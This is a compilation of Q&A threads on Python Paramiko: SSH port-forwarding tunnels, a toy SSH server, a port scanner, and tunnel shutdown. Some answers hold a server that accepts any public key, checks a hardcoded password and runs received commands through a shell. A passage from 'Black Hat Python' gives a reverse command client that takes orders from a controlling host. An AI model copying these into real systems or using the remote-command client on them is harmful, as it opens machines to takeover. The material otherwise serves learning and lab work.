The object is to set up n number of ssh tunnels between satellite servers and a centralized registry database. I have already set up public key authentication between my servers so they just log right in without password prompts. Now what ? I've tried Paramiko. It seems decent but gets pretty complicated just to set up a basic tunnel, although code exmplaes would be aprreciated. I've tried Autossh and it dies 2 minutes after setting up a working tunnel, bizarre! Hopefully someone can help me with a simple code snippet that I can daemonize and monitor with supervisord or monit.
Here is a cutdown version of the script that Alex pointed you to.
It simply connects to 192.168.0.8 and forwards port 3389 from 192.168.0.6 to localhost
import select
import SocketServer
import sys
import paramiko
class ForwardServer(SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
class Handler (SocketServer.BaseRequestHandler):
def handle(self):
try:
chan = self.ssh_transport.open_channel('direct-tcpip', (self.chain_host, self.chain_port), self.request.getpeername())
except Exception, e:
print('Incoming request to %s:%d failed: %s' % (self.chain_host, self.chain_port, repr(e)))
return
if chan is None:
print('Incoming request to %s:%d was rejected by the SSH server.' % (self.chain_host, self.chain_port))
return
print('Connected! Tunnel open %r -> %r -> %r' % (self.request.getpeername(), chan.getpeername(), (self.chain_host, self.chain_port)))
while True:
r, w, x = select.select([self.request, chan], [], [])
if self.request in r:
data = self.request.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
self.request.send(data)
chan.close()
self.request.close()
print('Tunnel closed from %r' % (self.request.getpeername(),))
def main():
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
client.connect("192.168.0.8")
class SubHandler(Handler):
chain_host = "192.168.0.6"
chain_port = 3389
ssh_transport = client.get_transport()
try:
ForwardServer(('', 3389), SubHandler).serve_forever()
except KeyboardInterrupt:
sys.exit(0)
if __name__ == '__main__':
main()
Is there a special reason not to just do it with ssh, the usual
(ssh -L <localport>:localhost:<remoteport> <remotehost>)
minuet? Anyway, this script is an example of local port forwarding (AKA tunneling).
Related
I'm trying to write an SSH server and everything is fine but the problem seems that I cant make client to execute commands on the server as normal and can't find correct way to do it since there is no mention of it in the documentation and can't see a demo example of how to make server to accept connections so I'm completely lost in this area. code is:
#!/bin/python3
import paramiko
import socket
class Ctx(paramiko.server.ServerInterface):
def get_allowed_auths(self, username): return "password,publickey"
def check_auth_publickey(self, key): return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, channelID): return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel): return True
def check_channel_pty_request(self, c, t, w, h, p, ph, m): return True
def get_banner(self): return ("This is MY SSH Server\n\r", "EN")
def check_channel_exec_request(self, channel, command):
print(command) # Print command
self.event.set() # I dont know why this is used.
return True # return True to accept command exec request
def check_auth_password(self, username, password):
if password == "1999": return paramiko.AUTH_SUCCESSFUL
else: return paramiko.AUTH_FAILED
paramiko.util.log_to_file("demo_server.log") # setup log file
host_key = paramiko.RSAKey(filename="./rsa") # setup rsa key file that will be used during authnitication
ctx = Ctx() # create ServerInterface context object
sock = socket.socket() # Create socket object
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("127.0.0.1", 5555)) # bind socket to specific Port
sock.listen(100) # Listen for TCP connections
print("***************** Listening for connection **************************")
client, addr = sock.accept() # accept TCP socket connection
print("[+]***************** Listeing for SSH connections ***************** ")
server = paramiko.Transport(client)
server.add_server_key(host_key) # Setup key
server.start_server(server=ctx) # SSH start_server
channel = server.accept(30) # Accept Auth requests
if channel is None:
print("[+] ***************** No Auth request Was made. ***************** ")
exit(1)
channel.send("[+]***************** Welcome ***************** \n\r")
while True: # This is supposed to be used to listen to commands
channel.event.wait(5) # but I'm not sure what it does actually
As you can see from the output of your print statement in check_channel_exec_request, you are receiving a command name. You just need to execute the command and send the output to the client. One implementation of that might look like:
def check_channel_exec_request(self, channel, command):
try:
res = subprocess.run(command, shell=True, stdout=subprocess.PIPE)
channel.send(res.stdout)
channel.send_exit_status(res.returncode)
except Exception as err:
print('exception: {}'.format(err))
channel.send('An error occurred: {}\r\n'.format(err))
channel.send_exit_status(255)
finally:
self.event.set()
return True
This uses subprocess.run(...) to execute the command and then sends
the output to the client. There are several limitations to this
implementation...
It's not interactive (the output isn't returned to the client until
after the command is complete).
It doesn't handle command output on stderr
...but hopefully it's enough to get you started.
Another problem with your code is with your treatment of
client.event. This is a Python Event object, used for signaling between threads. When you write:
channel.event.wait(5)
You are saying "wait up to 5 seconds for the Event to be set". An
Event becomes set by something calling event.set(), which you can
see we are doing in check_channel_exec_request.
The way you're using this doesn't make sense, by writing:
while true:
channel.event.wait(5)
You have an infinite loop. You want something that will wait for the
command to execute and then close the channel, so maybe something
like:
channel.event.wait(30)
channel.close()
This means "wait up to 30 seconds for the command to complete, and
even if it doesn't, close the channel".
With these two changes, your code will accept a single command and
exit. If you want the server to keep running so that you can connect
to it multiple times, you will need to implement some sort of loop in
the main section of your code.
Here's the code with all the changes I suggested:
#!/bin/python3
import paramiko
import socket
import subprocess
import time
class Ctx(paramiko.server.ServerInterface):
def get_allowed_auths(self, username):
return "password,publickey"
def check_auth_publickey(self, key):
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, channelID):
return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel):
return True
def check_channel_pty_request(self, c, t, w, h, p, ph, m):
return True
def get_banner(self):
return ("This is MY SSH Server\n\r", "EN")
def check_channel_exec_request(self, channel, command):
try:
res = subprocess.run(command, shell=True, stdout=subprocess.PIPE)
channel.send(res.stdout)
channel.send_exit_status(res.returncode)
except Exception as err:
print('exception: {}'.format(err))
channel.send('An error occurred: {}\r\n'.format(err))
channel.send_exit_status(255)
finally:
self.event.set()
return True
def check_auth_password(self, username, password):
if password == "1999": return paramiko.AUTH_SUCCESSFUL
else: return paramiko.AUTH_FAILED
paramiko.util.log_to_file("demo_server.log") # setup log file
host_key = paramiko.RSAKey(
filename="./test_rsa.key"
) # setup rsa key file that will be used during authnitication
ctx = Ctx() # create ServerInterface context object
sock = socket.socket() # Create socket object
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("127.0.0.1", 5555)) # bind socket to specific Port
sock.listen(100) # Listen for TCP connections
print("***************** Listening for connection **************************")
client, addr = sock.accept() # accept TCP socket connection
print("[+]***************** Listening for SSH connections ***************** ")
server = paramiko.Transport(client)
server.add_server_key(host_key) # Setup key
server.start_server(server=ctx) # SSH start_server
channel = server.accept(30) # Accept Auth requests
if channel is None:
print("[+] ***************** No Auth request Was made. ***************** ")
exit(1)
channel.send("[+]***************** Welcome ***************** \n\r")
# wait for command execution to complete (or timeout)
channel.event.wait(30) # but I'm not sure what it does actually
channel.close()
Update 1
Just to be clear, this doesn't get you an interactive session. This lets you run a command like this:
$ ssh -p 5555 localhost date
This is MY SSH Server
lars#localhost's password:
[+]***************** Welcome *****************
Sun Aug 15 09:35:53 AM EDT 2021
Connection to localhost closed by remote host.
If you want to enable an interactive session, check_channel_exec_request is not what you want.
does this mean that I have to open a new channel for each command, Is this is how it's supposed to be done with SSH or I can just use the wait in loop so that only one channel for all upcoming commands.
Using this model, with check_channel_exec_request, you would need a new connection for each command. The main section of your code would look like:
while True:
print("***************** Listening for connection **************************")
client, addr = sock.accept() # accept TCP socket connection
print("[+]***************** Listening for SSH connections ***************** ")
server = paramiko.Transport(client)
[...]
This isn't the only way of handling things, of course, and if you look
around you can find a number of examples of Paramiko-based services
that might help out. For example, ShuSSH shows a non-trivial Paramiko server implementation.
I know you already did an "early acceptance" of an answer, but you might take a look at the following, which is based on this answer on SO that has been modified as follows:
Uses threading to support concurrent SSH requests.
Recognizes an "exit" command to terminate the program since the code to handle ctrl-C for termination is less than ideal. Set constant SUPPORT_EXIT = False to remove this support.
The program just currently logs the command and echoes it back to the user.
Example of use:
ssh localhost -p 5555 some-command
The code:
#!/usr/bin/env python
import logging
import socket
import sys
import threading
from queue import Queue
import paramiko
logging.basicConfig()
paramiko.util.log_to_file('demo_server.log', level='INFO')
logger = paramiko.util.get_logger("paramiko")
host_key = paramiko.RSAKey(filename='./rsa')
SUPPORT_EXIT = True
# input queue of requests:
in_q = Queue()
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_password(self, username, password):
if password == '9999':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return 'publickey,password'
def check_channel_exec_request(self, channel, command):
# This is the command we need to parse
# Here we just log it and echo it back to the user:
command = command.decode() # convert to string from bytes:
logger.info('Command = %s', command)
channel.send(command + '\n')
if SUPPORT_EXIT and command == 'exit':
# Place None in in_q to signify time to exit:
in_q.put(None)
self.event.set()
return True
def run_server(client):
t = paramiko.Transport(client)
t.set_gss_host(socket.getfqdn(""))
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# Wait 30 seconds for a command
server.event.wait(30)
t.close()
def accept(sock):
while True:
try:
client, _ = sock.accept()
except Exception as exc:
logger.error(exc)
else:
in_q.put(client)
def listener():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 5555))
sock.listen(100)
threading.Thread(target=accept, args=(sock,), daemon=True).start()
while True:
try:
client = in_q.get()
if SUPPORT_EXIT and client is None: # exit command issued
break
threading.Thread(target=run_server, args=(client,), daemon=True).start()
except KeyboardInterrupt:
sys.exit(0)
if __name__ == '__main__':
listener()
My previous answer is fine for executing a single command. This new version supports the following variations:
ssh ip-address -p 5555 -T - Creates an interactive session. For now each input line is just echoed back and logged until 'quit\n' is entered.
ssh ip-address -p 5555 some-command - Executes the single command some-command, but for now that consists of just echoing back the command and logging it.
ssh ip-address -p 5555 exit - shuts down the server if SUPPORT_EXIT = True is set in the source.
#!/usr/bin/env python
import logging
import socket
import sys
import threading
from queue import Queue
import paramiko
logging.basicConfig()
paramiko.util.log_to_file('demo_server.log', level='INFO')
logger = paramiko.util.get_logger("paramiko")
host_key = paramiko.RSAKey(filename='./rsa')
SUPPORT_EXIT = True
# input queue of requests:
in_q = Queue()
def my_processor(stdin, stdout, event):
stdout.write('This is MY SSH Server:\n\n')
for command in stdin:
if command == 'quit\n':
break
# Just log the command and send it back:
logger.info('Command = %s', command)
stdout.write(command)
# signal termination
event.set()
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
def check_auth_password(self, username, password):
if password == '9999':
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return 'publickey,password'
def check_channel_exec_request(self, channel, command):
# This is the command we need to parse
command = command.decode() # convert to string from bytes:
if SUPPORT_EXIT and command == 'exit':
# Place None in in_q to signify time to exit:
in_q.put(None)
# We just log it and echo it back to the user:
logger.info('Command = %s', command)
channel.send(command + '\n')
self.event.set() # Command execution complete
# Show command successfully "wired up" to stdin, stdout and stderr:
# Return False if invalid command:
return True
def check_channel_shell_request(self, channel):
""" No command specified, interactive session implied """
stdout = channel.makefile('w')
stdin = channel.makefile('r')
threading.Thread(target=my_processor, args=(stdin, stdout, self.event), daemon=True).start()
# Show command successfully "wired up" to stdin, stdout and stderr:
return True
def run_server(client):
t = paramiko.Transport(client)
t.set_gss_host(socket.getfqdn(""))
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# wait for termination:
server.event.wait()
t.close()
def accept(sock):
while True:
try:
client, _ = sock.accept()
except Exception as exc:
logger.error(exc)
else:
in_q.put(client)
def listener():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('', 5555))
sock.listen(100)
threading.Thread(target=accept, args=(sock,), daemon=True).start()
while True:
try:
client = in_q.get()
if SUPPORT_EXIT and client is None: # exit command issued
break
threading.Thread(target=run_server, args=(client,), daemon=True).start()
except KeyboardInterrupt:
sys.exit(0)
if __name__ == '__main__':
listener()
I am attempting to build a Paramiko server that just forwards ports. I adapted the code from the demo server code
#!/usr/bin/env python
import base64
from binascii import hexlify
import os
import socket
import sys
import threading
import traceback
import paramiko
from paramiko.py3compat import b, u, decodebytes
import logging
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
host_key = paramiko.RSAKey(filename="test_rsa.key")
logger.info("Read key: " + u(hexlify(host_key.get_fingerprint())))
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_publickey(self, username, key):
logger.info("Auth attempt with key: " + u(hexlify(key.get_fingerprint())))
try:
with open("client_rsa.pub.stripped", "rb") as f:
good_key = f.read()
good_pub_key = paramiko.RSAKey(data=decodebytes(good_key))
except:
logger.exception("failed to read public key")
return paramiko.AUTH_FAILED
if (username == "robey") and (key == good_pub_key):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
def get_allowed_auths(self, username):
return "publickey"
def check_channel_request(self, kind, chanid):
logger.info("inside channel request")
return paramiko.OPEN_SUCCEEDED
def check_channel_direct_tcpip_request(self, chanid, origin, destination):
return paramiko.OPEN_SUCCEEDED
def check_channel_shell_request(self, channel):
self.event.set()
return True
if __name__ == "__main__":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("", 2200))
sock.listen(100)
logger.info("Listening for connection ...")
client, addr = sock.accept()
logger.info("Got a connection!")
with paramiko.Transport(client) as t:
t.load_server_moduli()
t.add_server_key(host_key)
server = Server()
t.start_server(server=server)
# wait for auth
chan = t.accept(20)
if chan is None:
logger.info("*** No channel.")
sys.exit(1)
logger.info("Authenticated!")
# prompt for more information
chan.send("Username: ")
f = chan.makefile("rU")
username = f.readline().strip("\r\n")
logger.info("received username: " + username)
chan.close()
And I am using this command to connect successfully:
ssh -i client_rsa.key -p 2200 -L 9999:localhost:4000 -T robey#localhost
However, when I attempt to use the -N option for the ssh client, ie:
ssh -i client_rsa.key -p 2200 -L 9999:localhost:4000 -T -N robey#localhost
the Paramiko server hangs after authenticating the client, never reaching the check_channel_request function. Here are the logs from the run:
INFO:__main__:Read key: 689f8799e649f931b116b19227dbb2a3
INFO:__main__:Listening for connection ...
INFO:__main__:Got a connection!
INFO:paramiko.transport:Connected (version 2.0, client OpenSSH_7.2p2)
INFO:paramiko.transport:Auth rejected (none).
INFO:__main__:Auth attempt with key: cdbb2439816b22a59ee036be3a953e51
INFO:paramiko.transport:Auth rejected (publickey).
INFO:__main__:Auth attempt with key: 11c470c88233719a2499f03336589618
INFO:paramiko.transport:Auth granted (publickey).
Is there anyway to get the Paramiko server to be able to handle this situation?
Figured this out. The reason nothing was happening is that the tunnel forwarding is not opened until you try to use it. It turns out my tunnel wasn't being created even without the -N option. So the answer is to make sure to use the local port after creating the SSH connection.
This is my code it's just starting the scan but it is not completing ,where is the error in it. i need output as port number and port side by side.when i run in command prompt it gives like that,please give suggetions on that
from socket import *
import sys,time
from datetime import datetime
host =''
max_port=100
min_port=1
def scan_host(host,port,r_code=1):
try:
s=socket(AF_INET,SOCK_STREAM)
code=s.connect_ex((host,port))
if code==0:
r_code=code
s.close()
except Exception,e:
pass
return r_code
try:
host=raw_input("Enter Host address:")
except KeyboardInterrupt:
print("\n Application shtdown")
sys.exit(1)
hostip=gethostbyname(host)
print("\n Host:%s IP:%s" %(host,hostip))
print("Scanning Started At %s...\n" %(time.strftime("%H:%M:%S")))
start_time=datetime.now()
for port in range(min_port,max_port):
try:
response=scan_host(host,port)
if response ==0:
print("Port %d: Open" %(port))
except Exception,e:
pass
stop_time=datetime.now()
total_time_duration=stop_time -start_time
print("\n Scanning Finished At %s ..." % (time.strftime("%H:%M:%S")))
print("Scanning Duration:%s..." %(total_time_duration))
print("Have a nice day ...Sergeant Exploiter (Sploit)")
Before using the following port scanner, you may want to check a few things first:
Is the firewall on your computer blocking the port scanner?
Is the device your computer connected to blocking certain ports?
Is the computer you are trying to scan blocking ports with its firewall?
Do you know the correct name of the host that you are trying to scan?
Can you create a server on one computer and connect to it with a client on the other?
If none of the above points are cause for your problem, the program shown below may work for you:
#! /usr/bin/env python3
import argparse
import collections
import itertools
import multiprocessing
import operator
import socket
PURPOSE = 'Scan for open ports on a computer.'
PORTS = range(1 << 16)
POOL_SIZE = 1 << 8
TIMEOUT = 0.01
def main():
"""Get computer to scan, connect with process pool, and show open ports."""
parser = argparse.ArgumentParser(description=PURPOSE)
parser.add_argument('host', type=str, help='computer you want to scan')
host = parser.parse_args().host
with multiprocessing.Pool(POOL_SIZE, socket.setdefaulttimeout, [TIMEOUT]) \
as pool:
results = pool.imap_unordered(test, ((host, port) for port in PORTS))
servers = filter(operator.itemgetter(0), results)
numbers = map(operator.itemgetter(1), servers)
ordered = sorted(numbers)
print(f'Ports open on {host}:', *format_ports(ordered), sep='\n ')
field_names = 'family', 'socket_type', 'protocol', 'canon_name', 'address'
AddressInfo = collections.namedtuple('AddressInfo', field_names)
del field_names
def test(address):
"""Try connecting to the server and return whether or not it succeeded."""
host, port = address
for info in itertools.starmap(AddressInfo, socket.getaddrinfo(host, port)):
try:
probe = socket.socket(info.family, info.socket_type, info.protocol)
except OSError:
pass
else:
try:
probe.connect(info.address)
except OSError:
pass
else:
probe.shutdown(socket.SHUT_RDWR)
return True, port
finally:
probe.close()
return False, port
def format_ports(ports):
"""Convert port numbers into strings and show all associated services."""
if ports:
for port in ports:
try:
service = socket.getservbyport(port)
except OSError:
service = '?'
yield f'{port:<5} = {service}'
else:
yield 'None'
if __name__ == '__main__':
main()
Lately, I've developed an interest in penetration testing. I decided to try and learn how to write some scripts before investing in a full blown course. Currently I'm working my way through the book Black Hat Python book by Justin Seitz.
I'm in the section on SSH using Paramiko and two of the scripts have me stumped. They both run without errors but nothing gets shown on screen. In Windows and Linux the terminal (or DOS prompt) just returns immediately to the prompt. I have gone over the scripts several times and can't find the issue. The code for both scripts is shown in full below.
Script #1 bh_sshserver.py (The purpose of this script is to create an ssh server)
import socket
import paramiko
import threading
import sys
class Server (paramiko.ServerInterface):
def _init_(self):
self.event = threading.Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return
paramiko.OPEN_SUCCEEDED
return
paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'root') and (password == '12345'):
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
server = sys.argv[1]
ssh_port = sys.argv[2]
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
print '[+] Listening for connection...'
client, addr = sock.accept()
except Exception, e:
print ' [-] Listen Failed: ' + str(e)
sys.exit(1)
print '[+] Got a connection'
try:
bhSession = paramiko.Transport(client)
bhSession.add_server_key(host_key)
server = Server()
try:
bhSession.start_server(server=server)
except paramiko.SSHException, x:
print '[-] SSH Negotiation Failed'
chan = bhSession.accept(20)
print '[+] Authenticated!'
print chan.recv(1024)
chan.send ('Welcome to bh_ssh')
while True:
try:
command= raw_input("Enter command: ").strip('\n')
if command != 'exit':
chan.send(command)
print chan.recv(1024) + '\n'
else:
chan.send('exit')
print 'exiting'
bhSession.close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession.close()
except Exception, e:
print '[-] Caught exception: ' + str(e)
try:
bhSession.close()
except:
pass
sys.exit(1)
Script #2 bh_sshRcmd.py (The purpose of this script is to create a command receiver for the ssh server to connect to)
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
Both of these scripts were written in Windows and so do not need the shebang statement (ie #!/usr/bin/python) at the top. I copied them over to a Linux VM and added that statement, plus made them executable using chmod +x. Still, nothing shows on screen when the scripts run. The IP addresses are from a VMware virtual network which has never given me problems before.
It is likely that there is an error connecting to your server. Try adding more print statements to cover the conditionals like so:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print 'ssh_session is active'
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
print 'recv-ing'
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
else:
print 'ssh_session is not active'
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
As for bh_sshserver.py, if you ran python bh_sshserver.py, nothing would happen. This is because you don't have any statements in the main scope. If you wanted to start the server you could add code to the bottom of the script with no indentation.
You should call your server from the terminal using command-line arguments like this:
python scriptname.py server_adress port
Change indentation on the last line of client script - it should call your function
Server adresses in the terminal and in the client function should be the same
That's pretty much all
I can provide you with these two scripts that are working for me, if you need it.
Thanks to everyone who replied. In the end I found some Paramiko demo files from github that included a sample SSH server. It turns out the script is much more complicated than the author makes it out to be. I was missing a ton of code, which is why the server was not working. As soon as I made my script a rough match to the sample it worked perfectly so did my client.
In case anyone comes across a similar problem, here is the link to the Paramiko demo files:
https://github.com/paramiko/paramiko/tree/master/demos
I'm working on a python script to query a few remote databases over an established ssh tunnel every so often. I'm fairly familiar with the paramiko library, so that was my choice of route. I'd prefer to keep this in complete python so I can use paramiko to deal with key issues, as well as uses python to start, control, and shutdown the ssh tunnels.
There have been a few related questions around here about this topic, but most of them seemed incomplete in answers. My solution below is a hacked together of the solutions I've found so far.
Now for the problem: I'm able to create the first tunnel quite easily (in a separate thread) and do my DB/python stuff, but when attempting to close the tunnel the localhost won't release the local port I binded to. Below, I've included my source and the relevant netstat data through each step of the process.
#!/usr/bin/python
import select
import SocketServer
import sys
import paramiko
from threading import Thread
import time
class ForwardServer(SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
class Handler (SocketServer.BaseRequestHandler):
def handle(self):
try:
chan = self.ssh_transport.open_channel('direct-tcpip', (self.chain_host, self.chain_port), self.request.getpeername())
except Exception, e:
print('Incoming request to %s:%d failed: %s' % (self.chain_host, self.chain_port, repr(e)))
return
if chan is None:
print('Incoming request to %s:%d was rejected by the SSH server.' % (self.chain_host, self.chain_port))
return
print('Connected! Tunnel open %r -> %r -> %r' % (self.request.getpeername(), chan.getpeername(), (self.chain_host, self.chain_port)))
while True:
r, w, x = select.select([self.request, chan], [], [])
if self.request in r:
data = self.request.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
self.request.send(data)
chan.close()
self.request.close()
print('Tunnel closed from %r' % (self.request.getpeername(),))
class DBTunnel():
def __init__(self,ip):
self.c = paramiko.SSHClient()
self.c.load_system_host_keys()
self.c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.c.connect(ip, username='someuser')
self.trans = self.c.get_transport()
def startTunnel(self):
class SubHandler(Handler):
chain_host = '127.0.0.1'
chain_port = 5432
ssh_transport = self.c.get_transport()
def ThreadTunnel():
global t
t = ForwardServer(('', 3333), SubHandler)
t.serve_forever()
Thread(target=ThreadTunnel).start()
def stopTunnel(self):
t.shutdown()
self.trans.close()
self.c.close()
Although I will end up using a stopTunnel() type method, I've realize that code isn't entirely correct, but more so an experimentation of trying to get the tunnel to shutdown properly and test my results.
When I first call create the DBTunnel object and call startTunnel(), netstat yields the following:
tcp4 0 0 *.3333 *.* LISTEN
tcp4 0 0 MYIP.36316 REMOTE_HOST.22 ESTABLISHED
tcp4 0 0 127.0.0.1.5432 *.* LISTEN
Once I call stopTunnel(), or even delete the DBTunnel object itself..I'm left with this connection until I exit python all together, and what I assume to be the garbage collector takes care of it:
tcp4 0 0 *.3333 *.* LISTEN
It would be nice to figure out why this open socket is hanging around independent of the DBConnect object, and how to close it properly from within my script. If I try and bind a different connection to different IP using the same local port before completely exiting python (time_wait is not the issue), then I get the infamous bind err 48 address in use. Thanks in advance :)
It appears the SocketServer's shutdown method isn't properly shutting down/closing the socket. With the below changes in my code, I retain access to the SocketServer object and access the socket directly to close it. Note that socket.close() works in my case, but others might be interested in socket.shutdown() followed by a socket.close() if other resources are accessing that socket.
[Ref: socket.shutdown vs socket.close
def ThreadTunnel():
self.t = ForwardServer(('127.0.0.1', 3333), SubHandler)
self.t.serve_forever()
Thread(target=ThreadTunnel).start()
def stopTunnel(self):
self.t.shutdown()
self.trans.close()
self.c.close()
self.t.socket.close()
Note that you don't have do the Subhandler hack as shown in the demo code. The comment is wrong. Handlers do have access to their Server's data. Inside a handler you can use self.server.instance_data.
If you use the following code, in your Handler, you would use
self.server.chain_host
self.server.chain_port
self.server.ssh_transport
class ForwardServer(SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
def __init__(
self, connection, handler, chain_host, chain_port, ssh_transport):
SocketServer.ThreadingTCPServer.__init__(self, connection, handler)
self.chain_host = chain_host
self.chain_port = chain_port
self.ssh_transport = ssh_transport
...
server = ForwardServer(('', local_port), Handler,
remote_host, remote_port, transport)
server.serve_forever()
You may want to add some synchronization between the spawned thread and the caller so that you don't try to use the tunnel before it is ready. Something like:
from threading import Event
def startTunnel(self):
class SubHandler(Handler):
chain_host = '127.0.0.1'
chain_port = 5432
ssh_transport = self.c.get_transport()
mysignal = Event()
mysignal.clear()
def ThreadTunnel():
global t
t = ForwardServer(('', 3333), SubHandler)
mysignal.set()
t.serve_forever()
Thread(target=ThreadTunnel).start()
mysignal.wait()
You can also try sshtunnel it has two cases to close tunnel .stop() if you want to wait until the end of all active connections or .stop(force=True) to close all active connections.
If you don't want to use it you can check the source code for this logic here: https://github.com/pahaz/sshtunnel/blob/090a1c1/sshtunnel.py#L1423-L1456